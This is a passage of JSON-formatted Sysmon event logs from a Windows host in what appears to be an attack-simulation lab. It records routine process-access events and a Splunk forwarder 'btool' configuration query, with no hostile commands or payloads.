11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3153,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3154,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3155,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3156,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3157,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407A-5F2D-0000-00104D0D0500}\r\nTargetProcessId: 4688\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407A-5F2D-0000-00104D0D0500}","TargetProcessId":"4688","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3158,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.845\r\nProcessGuid: {90617006-407A-5F2D-0000-0010090E0500}\r\nProcessId: 2864\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nFileVersion: 8.0.2\r\nDescription: btool\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: btool.exe\r\nCommandLine: btool server list httpServerListener: --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B\r\nParentProcessGuid: {90617006-407A-5F2D-0000-00104D0D0500}\r\nParentProcessId: 4688\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list httpServerListener: --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.845","ProcessGuid":"{90617006-407A-5F2D-0000-0010090E0500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","FileVersion":"8.0.2","Description":"btool","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"btool.exe","CommandLine":"btool server list httpServerListener: --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B","ParentProcessGuid":"{90617006-407A-5F2D-0000-00104D0D0500}","ParentProcessId":"4688","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list httpServerListener: --no-log","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3159,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-407A-5F2D-0000-00104D0D0500}\r\nSourceProcessId: 4688\r\nSourceThreadId: 2856\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-407A-5F2D-0000-0010090E0500}\r\nTargetProcessId: 2864\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-407A-5F2D-0000-00104D0D0500}","SourceProcessId":"4688","SourceThreadId":"2856","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-407A-5F2D-0000-0010090E0500}","TargetProcessId":"2864","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3160,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407A-5F2D-0000-0010090E0500}\r\nTargetProcessId: 2864\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407A-5F2D-0000-0010090E0500}","TargetProcessId":"2864","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3161,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3162,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 